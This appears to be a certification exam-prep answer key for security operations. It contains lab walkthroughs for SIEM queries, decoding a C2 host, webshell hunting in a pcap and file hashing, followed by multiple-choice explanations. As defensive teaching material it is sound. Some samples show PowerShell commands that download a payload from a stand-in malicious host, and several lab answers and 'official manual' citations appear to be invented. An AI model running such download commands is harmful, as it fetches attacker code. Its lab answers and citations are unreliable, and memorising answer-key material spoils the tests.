Step 3: Open the Hunt Interface in Security Onion

On the Security Onion dashboard, go to"Hunt"(or"Cases"depending on the version).

Click on"Cases"to manage incident cases.

Step 4: Create a New Case

Click on"New Case"to start a fresh investigation.

Case Details:

Title:

Windows Webserver Logs - CCOA New Case

TLP (Traffic Light Protocol):

Set toGreen(indicating that the information can be shared freely).

Example Configuration:

Field

Value

Title

Windows Webserver Logs - CCOA New Case

TLP

Green

Summary

(Leave blank if not required)

Click"Save"to create the case.

Step 5: Upload the Log Files

After creating the case, go to the"Files"section of the new case.

Click on"Upload"and select the unzipped log file:

~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx

Once uploaded, the file will be associated with the case.

Step 6: Verify the Case Creation

Go back to theCasesdashboard.

Locate and verify that the case"Windows Webserver Logs - CCOA New Case"exists withTLP: Green.

Check that thelog filehas been successfully uploaded.

Step 7: Document and Report

Document the case details:

Case Title:Windows Webserver Logs - CCOA New Case

TLP:Green

Log File:System-logs.evtx

Include anyinitial observationsfrom the log analysis.

Example Answer:

A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.

Step 8: Next Steps for Investigation

Analyze the log file:Start hunting for suspicious activities.

Create analysis tasks:Assign team members to investigate specific log entries.

Correlate with other data:Cross-reference with threat intelligence sources.

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access thealerts folderon your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around11:00 PM.

You need to identify themalicious filespecificallycaptured at 11:04 PM.

Step 3: Access System Logs

Use yourSIEMorlog management systemto examine recent logs.

Filter the logs to narrow down the events:

Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.

Keyword:process.executable.

Example SIEM Query:

index=system_logs

| search "process.executable"

| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"

| table _time, process_name, executable_path, hash

Step 4: Analyze Log Entries

The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from thealert bulletin (alert_33.pdf).

Example Log Output:

_time process_name executable_path hash

2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotalor internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected hostto prevent further damage.

Quarantine the malicious filefor analysis.

Conduct a full forensic investigationto assess the scope of the compromise.

Update threat signaturesand indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection:11:04 PM on August 19, 2024.

Malicious file name:evil.exe.

Location:C:\Users\Public\evil.exe.

Generate an incident reportfor further investigation.

To decode the contents of the filepcap_artifact5.txtand save the output in a new file namedpcap_artifact5_decoded.txt, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

Notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the content to identify the encoding format. Common encoding types include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content:

ini

U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==

The above example appears to beBase64 encoded.

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\\Desktop\pcap_artifact5_decoded.txt"

Method 2: Using Command Prompt (Windows)

Usecertutilfor Base64 decoding:

cmd

certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt

Method 3: Using Linux/WSL

Use thebase64decoding command:

base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

If the content isHexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

Step 4: Verify the Decoded File

Open the decoded file to verify its contents:

OnWindows:

php-template

notepad C:\Users\\Desktop\pcap_artifact5_decoded.txt

OnLinux:

cat ~/Desktop/pcap_artifact5_decoded.txt

Check if the decoded text makes sense and is readable.

Example Decoded Output:

Some encoded content with potential malware...

Step 5: Save and Confirm

Ensure the file is saved as:

pcap_artifact5_decoded.txt

Located on theDesktopfor easy access.

Step 6: Analyze the Decoded Content

Look for:

Malware signatures

Command and control (C2) server URLs

Indicators of Compromise (IOCs)

Step 7: Document the Process

Record the following:

Original Filename:pcap_artifact5.txt

Decoded Filename:pcap_artifact5_decoded.txt

Decoding Method:Base64 (or identified method)

Contents:Brief summary of findings

To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShelland decode:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This will print the decoded content directly.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content ishexadecimal, convert it as follows:

xxd -r -p ~/Desktop/pcap_artifact5.txt

If it appearsURL encoded, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely theC2 host.

Example Decoded Output:

arduino

http://10.10.44.200:8080/command.php

TheC2 hostis:

10.10.44.200

Step 5: Cross-Verify the C2 Host

OpenWiresharkand load the relevant PCAP file to cross-check the IP:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Filter for C2 traffic:

ini

ip.addr == 10.10.44.200

Validate the C2 host IP address through network traffic patterns.

Answer:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host:10.10.44.200

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address10.10.44.200at the firewall.

Conduct anetwork-wide searchto identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

To determine thedate the webshell was accessedfrom theinvestigation22.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter for Webshell Traffic

Since webshells typically useHTTP/Sto communicate, apply a filter:

http.request or http.response

Alternatively, if you know the IP of the compromised host (e.g.,10.10.44.200), use:

nginx

http and ip.addr == 10.10.44.200

PressEnterto apply the filter.

Step 4: Identify Webshell Activity

Look for HTTP requests that include:

Common Webshell Filenames:shell.jsp, cmd.php, backdoor.aspx, etc.

Suspicious HTTP Methods:MainlyPOSTorGET.

Right-click a suspicious packet and choose:

arduino

Follow > HTTP Stream

Inspect the HTTP headers and content to confirm the presence of a webshell.

Step 5: Extract the Access Date

Look at theHTTP request/response header.

Find theDatefield orTimestampof the packet:

Wireshark displays timestamps on the left by default.

Confirm theHTTP streamincludes commands or uploads to the webshell.

Example HTTP Stream:

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Date: Mon, 2024-03-18 14:35:22 GMT

Step 6: Verify the Correct Date

Double-check other HTTP requests or responses related to the webshell.

Make sure thedate fieldis consistent across multiple requests to the same file.

Answer:

2024-03-18

Step 7: Document the Finding

Date of Access:2024-03-18

Filename:shell.jsp (as identified earlier)

Compromised Host:10.10.44.200

Method of Access:HTTP POST

Step 8: Next Steps

Isolate the Affected Host:

Remove the compromised server from the network.

Remove the Webshell:

rm /path/to/webshell/shell.jsp

Analyze Web Server Logs:

Correlate timestamps with access logs to identify the initial compromise.

Implement WAF Rules:

Block suspicious patterns related to file uploads and webshell execution.

To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:

Step 1: Access the Investigation Folder

Navigate to theDesktopon your system.

Open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Step 2: Extract the ZIP File

Right-click on win-webserver01_logs.zip.

Select"Extract All"or use a command-line tool to unzip:

unzip win-webserver01_logs.zip -d ./win-webserver01_logs

Verify the extraction:

ls ./win-webserver01_logs

You should see:

System-logs.evtx

Step 3: Generate the SHA256 Hash

Method 1: Using PowerShell (Windows)

OpenPowerShellas an Administrator.

Run the following command to generate the SHA256 hash:

Get-FileHash "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" -Algorithm SHA256

The output will look like:

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.evtx

Method 2: Using Command Prompt (Windows)

OpenCommand Promptas an Administrator.

Use the following command:

certutil -hashfile "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" SHA256

Example output:

SHA256 hash of System-logs.evtx:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Method 3: Using Linux/Mac (if applicable)

Open a terminal.

Run the following command:

sha256sum ./win-webserver01_logs/System-logs.evtx

Sample output:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx

The SHA256 digest of the System-logs.evtx file is:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 4: Verification and Documentation

Document the hash for validation and integrity checks.

Include in your incident report:

File name:System-logs.evtx

SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Hash Generation:(today’s date)

Step 5: Next Steps

Integrity Verification:Cross-check the hash if you need to transfer or archive the file.

Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

TheCISOis typically responsible for approvingexceptions and deviationsfrom theincident management team charterbecause:

Strategic Decision-Making:As the senior security executive, the CISO has the authority to approve deviations based on risk assessments and business priorities.

Policy Oversight:The CISO ensures that any exceptions align with organizational security policies.

Incident Management Governance:As part of risk management, the CISO is involved in high-level decisions impacting incident response.

Other options analysis:

A. Security steering group:Advises on strategy but does not typically approve operational deviations.

B. Cybersecurity analyst:Executes tasks rather than making executive decisions.

D. Incident response manager:Manages day-to-day operations but usually does not approve policy deviations.

CCOA Official Review Manual, 1st Edition References:

Chapter 2: Security Governance:Defines the role of the CISO in managing incident-related exceptions.

Chapter 8: Incident Management Policies:Discusses decision-making authority within incident response.

AES-256 (Advanced Encryption Standard)is the recommended algorithm for encrypting data within databases because:

Strong Encryption:Uses a 256-bit key, providing robust protection against brute-force attacks.

Widely Adopted:Standardized and approved for government and industry use.

Security Advantage:AES-256 is significantly more secure compared to older algorithms like3-DESorSHA-1.

Performance:Efficient encryption and decryption, suitable for database encryption.

Incorrect Options:

B. TLS 1.1:Protocol for secure communications, not specifically for data encryption within databases.

C. SHA-1:A hashing algorithm, not suitable for encryption (also considered broken and insecure).

D. DES:An outdated encryption standard with known vulnerabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Encryption Standards," Subsection "Recommended Algorithms" - AES-256 is the preferred algorithm for data encryption due to its security and efficiency.

The act of moving apayment card system to a separate network locationis an example ofnetwork segmentationbecause:

Isolation for Security:Segregates sensitive systems from less secure parts of the network.

PCI DSS Compliance:Payment card data must be isolated to reduce thescope of compliance.

Minimized Attack Surface:Limits exposure in case other parts of the network are compromised.

Enhanced Control:Allows for tailored security measures specific to payment systems.

Other options analysis:

A. Redundancy:Involves having backup systems, not isolating networks.

C. Encryption:Protects data but does not involve network separation.

D. Centricity:Not a recognized concept in network security.

CCOA Official Review Manual, 1st Edition References:

Chapter 7: Network Segmentation and Isolation:Emphasizes segmentation for protecting sensitive data.

Chapter 9: PCI Compliance Best Practices:Discusses network segmentation to secure payment card environments.

AnIT security specialistis responsible forperforming routine vulnerability scansas part of maintaining the organization's security posture. Their primary tasks include:

Vulnerability Assessment:Using automated tools to detect security flaws in networks, applications, and systems.

Regular Scanning:Running scheduled scans to identify new vulnerabilities introduced through updates or configuration changes.

Reporting:Analyzing scan results and providing reports to management and security teams.

Remediation Support:Working with IT staff to patch or mitigate identified vulnerabilities.

Other options analysis:

A. Incident response manager:Primarily focuses on responding to security incidents, not performing routine scans.

B. Information security manager:Manages the overall security program but does not typically conduct scans.

C. IT auditor:Reviews the effectiveness of security controls but does not directly perform scanning.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Vulnerability and Patch Management:Outlines the responsibilities of IT security specialists in conducting vulnerability assessments.

Chapter 8: Threat and Vulnerability Assessment:Discusses the role of specialists in maintaining security baselines.

Before conducting apenetration test, themost crucial stepis to obtainauthorized consentfrom the client:

Legal Compliance:Ensures the testing is lawful and authorized, preventing legal consequences.

Clearance:Confirms that the client understands and agrees to the testing scope and objectives.

Documentation:Signed agreements protect both the tester and client in case of issues during testing.

Ethical Consideration:Performing tests without consent violates ethical hacking principles.

Incorrect Options:

B. Determining timeframe:Important but secondary to legal consent.

C. Defining scope:Necessary, but only after authorization.

D. Estimating price:Relevant for contracts but not the primary security concern.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Ethical Hacking and Legal Considerations," Subsection "Authorization and Consent" - Proper authorization is mandatory before any penetration testing.

Amesh network topologyis the most resilient to network failures because:

Redundancy:Each node is interconnected, providing multiple pathways for data to travel.

No Single Point of Failure:If one connection fails, data can still be routed through alternative paths.

High Fault Tolerance:The decentralized structure ensures that the failure of a single device or link does not significantly impact network performance.

Ideal for Critical Infrastructure:Often used in environments where uptime is critical, such as financial or emergency services networks.

Other options analysis:

B. Star:A central hub connects all nodes, so if the hub fails, the entire network collapses.

C. Bus:A single backbone cable means a break in the cable can disrupt the entire network.

D. Ring:Data travels in a circular path; a single break can isolate part of the network unless it is a dual-ring topology.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Security Operations:Discusses network topology and its impact on reliability and redundancy.

Chapter 9: Network Design and Architecture:Highlights resilient topologies, including mesh, for secure and fault-tolerant operations.

Theprimary function of a Network Intrusion Detection System (IDS)is toanalyze network trafficto detectpotentially malicious activityby:

Traffic Monitoring:Continuously examining inbound and outbound data packets.

Signature and Anomaly Detection:Comparing packet data against known attack patterns or baselines.

Alerting:Generating notifications when suspicious patterns are detected.

Passive Monitoring:Unlike Intrusion Prevention Systems (IPS), IDS does not block or prevent traffic.

Other options analysis:

A. Dropping traffic:Function of an IPS, not an IDS.

C. Filtering traffic:Typically handled by firewalls, not IDS.

D. Preventing execution:IDS does not actively block or mitigate threats.

CCOA Official Review Manual, 1st Edition References:

Chapter 8: Network Monitoring and Intrusion Detection:Describes IDS functions and limitations.

Chapter 7: Security Operations and Monitoring:Covers the role of IDS in network security.

Target discovery and service enumerationare fundamental steps in thereconnaissance phaseof an attack. An attacker typically:

Discovers Hosts and Services:Identifies active devices and open ports on a network.

Enumerates Services:Determines which services are running on open ports to understand possible entry points.

Identify Attack Vectors:Once services are mapped, attackers look for vulnerabilities specific to those services.

Tools:Attackers commonly use tools likeNmaporMasscanfor port scanning and enumeration.

Other options analysis:

A. Corrupting process memory:Typically associated with exploitation rather than reconnaissance.

C. Deploying backdoors:This occurs after gaining access, not during the initial discovery phase.

D. Gaining privileged access:Typically follows successful exploitation, not discovery.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Threat Hunting and Reconnaissance:Covers methods used for identifying attack surfaces.

Chapter 8: Network Scanning Techniques:Details how attackers use scanning tools to identify open ports and services.

Toprevent users from making outbound non-encrypted connectionsto the internet, it is essential toblock Port 80, which is used forunencrypted HTTP traffic.

Security Risk:HTTP transmits data in plaintext, making it vulnerable to interception and eavesdropping.

Preferred Alternative:UsePort 443(HTTPS), which encrypts data via TLS.

Mitigation:Blocking Port 80 ensures that users must use secure, encrypted connections.

Attack Vector:Unencrypted HTTP traffic can be intercepted usingman-in-the-middle (MitM)attacks.

Incorrect Options:

A. Port 3389:Used by RDP for remote desktop connections.

B. Port 25:Used by SMTP for sending email, which can be encrypted using SMTPS on port 465.

C. Port 443:Used for encrypted HTTPS traffic, which should not be blocked.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Security and Port Management," Subsection"Securing Outbound Connections" - Blocking Port 80 is crucial to enforce encrypted communications.

Robust background checks help mitigateinsider threatsby ensuring that individuals withaccess to sensitive data or critical systemsdo not have a history of risky or malicious behavior.

Screening:Identifies red flags like past criminal activity or suspicious financial behavior.

Trustworthiness Assessment:Ensures that employees handling sensitive information have a proven history of integrity.

Insider Threat Mitigation:Helps reduce the risk of data theft, sabotage, or unauthorized access.

Periodic Rechecks:Maintain ongoing security by regularly updating background checks.

Incorrect Options:

A. DDoS attacks:Typically external; background checks do not mitigate these.

C. Phishing:An external social engineering attack, unrelated to employee background.

D. Ransomware:Generally spread via malicious emails or compromised systems, not insider actions.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Insider Threat Management," Subsection "Pre-Employment Screening" - Background checks are vital in identifying potential insider threats before hiring.

The primary benefit of implementing logical access controls on aneed-to-know basisis tolimit access to sensitive data and resources. This principle ensures that users and processes have access only to the information necessary for their roles.

Principle of Least Privilege:Minimizes the risk of data exposure by restricting access based on job responsibilities.

Data Protection:Reduces the chance of internal data breaches by limiting who can view or modify sensitive information.

Enhanced Security:Mitigates the risk of privilege misuse or insider threats.

Incorrect Options:

B. Ensuring users can access all resources:This contradicts the need-to-know principle.

C. Providing a consistent user experience:This is unrelated to access control.

D. Reducing the complexity of access control policies:While it can simplify management, the primary goal is data protection.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Access Control Models," Subsection "Need-to-Know Principle" - Implementing need-to-know access reduces exposure of sensitive data by restricting access only to necessary users.

To maintain consistent management ofsupply chain risk, it is essential toperiodically confirm that suppliers meet their contractual obligations.

Risk Assurance:Verifies that suppliers adhere to security standards and commitments.

Compliance Monitoring:Ensures that the agreed-upon controls and service levels are maintained.

Consistency:Regular checks prevent lapses in compliance and identify potential risks early.

Supplier Audits:Include reviewing security controls, data protection measures, and compliance with regulations.

Incorrect Options:

A. Seeking feedback from procurement:Useful but not directly related to risk management.

C. Counting incident tickets:Measures service performance, not risk consistency.

D. Informal meetings:Lacks formal assessment and verification of obligations.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Supply Chain Risk Management," Subsection "Monitoring and Compliance" - Periodic verification of contractual compliance ensures continuous risk management.

The scenario describes apenetration testing approachwhere the tester is givenaccess to all code, diagrams, and documentation, which is indicative of aFull Knowledge(also known asWhite Box) testing methodology.

Characteristics:

Comprehensive Access:The tester has complete information about the system, including source code, network architecture, and configurations.

Efficiency:Since the tester knows the environment, they can directly focus on finding vulnerabilities without spending time on reconnaissance.

Simulates Insider Threats:Mimics the perspective of an insider or a trusted attacker with full access.

Purpose:To thoroughly assess the security posture from aninformed perspectiveand identify vulnerabilities efficiently.

Other options analysis:

B. Unlimited scope:Scope typically refers to the range of testing activities, not the knowledge level.

C. No knowledge:This describesBlack Boxtesting where no prior information is given.

D. Partial knowledge:This would beGray Boxtesting, where some information is provided.

CCOA Official Review Manual, 1st Edition References:

Chapter 8: Penetration Testing Methodologies:Differentiates between full, partial, and no-knowledge testing approaches.

Chapter 9: Security Assessment Techniques:Discusses how white-box testing leverages complete information for in-depth analysis.

Thegreatest risk resulting from a DNS cache poisoning attackis theloss of sensitive data. Here’s why:

DNS Cache Poisoning:An attacker corrupts the DNS cache to redirect users from legitimate sites to malicious ones.

Phishing and Data Theft:Users think they are accessing legitimate websites (like banking portals) but are unknowingly entering sensitive data into fake sites.

Man-in-the-Middle (MitM) Attacks:Attackers can intercept data traffic, capturing credentials or personal information.

Data Exfiltration:Once credentials are stolen, attackers can access internal systems, leading to data loss.

Other options analysis:

A. Reduced system availability:While DNS issues can cause outages, this is secondary to data theft in poisoning scenarios.

B. Noncompliant operations:While potential, this is not the primary risk.

C. Loss of network visibility:Unlikely since DNS poisoning primarily targets user redirection, not network visibility.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Security Operations:Discusses DNS attacks and their potential consequences.

Chapter 8: Threat Detection and Incident Response:Details how DNS poisoning can lead to data compromise.

Balancingcybersecurity riskswithcompliance requirementsrequires a strategic approach that aligns security practices with business goals. The best way to achieve this is to:

Contextual Evaluation:Assess compliance requirements in relation to the organization's operational needs and objectives.

Risk-Based Approach:Instead of blindly following standards, integrate them within the existing risk management framework.

Custom Implementation:Tailor compliance controls to ensure they do not hinder critical business functions while maintaining security.

Stakeholder Involvement:Engage business units to understand how compliance can be integrated smoothly.

Other options analysis:

A. Accept compliance conflicts:This is a defeatist approach and does not resolve the underlying issue.

B. Meet minimum standards:This might leave gaps in security and does not foster a comprehensive risk-based approach.

D. Implement only non-impeding requirements:Selectively implementing compliance controls can lead to critical vulnerabilities.

CCOA Official Review Manual, 1st Edition References:

Chapter 2: Governance and Risk Management:Discusses aligning compliance with business objectives.

Chapter 5: Risk Management Strategies:Emphasizes a balanced approach to security and compliance.

After remediation of identified weaknesses, thenext step is to perform a validation scanto ensure that the fixes were successful and no new vulnerabilities were introduced.

Purpose:Confirm that vulnerabilities have been properly addressed.

Verification:Uses automated tools or manual testing to recheck the patched systems.

Risk Management:Prevents reintroducing vulnerabilities into the production environment.

Incorrect Options:

B. Software code testing:Typically performed during development, not after remediation.

C. Software quality assurance (QA) activity:Focuses on functionality, not security validation.

D. Moving directly to production:Risks deploying unvalidated fixes.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Post-Remediation Activities," Subsection "Validation Scans" - Validating fixes ensures security before moving to production.

TheCommand Line Interface (CLI)ismost suitable for administrative tasks and automationbecause:

Scriptable and Automatable:CLI commands can be combined in scripts for automating repetitive tasks.

Direct System Access:Administrators can directly interact with the system to configure, manage, and troubleshoot.

Efficient Resource Usage:Consumes fewer system resources compared to graphical interfaces.

Customizability:Advanced users can chain commands and create complex workflows using shell scripting.

Other options analysis:

B. Integrated Development Environment (IDE):Primarily used for software development, not system administration.

C. System service dispatcher (SSO):Not relevant for administrative tasks.

D. Access control list (ACL):Manages permissions, not administrative automation.

CCOA Official Review Manual, 1st Edition References:

Chapter 9: System Administration Best Practices:Highlights the role of CLI in administrative and automation tasks.

Chapter 7: Automation in Security Operations:Explains the efficiency of CLI-based automation.

The organization is implementing anew cloud-based real-time backup systemto reduce the likelihood ofdata loss, which is an example ofrisk mitigationbecause:

Reducing Risk Impact:By upgrading from an outdated system, the organization minimizes the potential consequences of data loss.

Implementing Controls:The new backup system is aproactive control measuredesigned to decrease the risk.

Enhancing Recovery Capabilities:Real-time backups ensure that data remains intact and recoverable even in case of a failure.

Other options analysis:

B. Risk avoidance:Involves eliminating the risk entirely, not just reducing it.

C. Risk transfer:Typically involves shifting the risk to a third party (like insurance), not implementing technical controls.

D. Risk acceptance:Involves acknowledging the risk without implementing changes.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Risk Management:Clearly differentiates between mitigation, avoidance, transfer, and acceptance.

Chapter 7: Backup and Recovery Planning:Discusses modern data protection strategies and their risk implications.

Theprimary output from the development of a cyber risk management strategyis thedefinition of mitigation activitiesbecause:

Risk Identification:After assessing risks, the strategy outlines specific actions to mitigate identified threats.
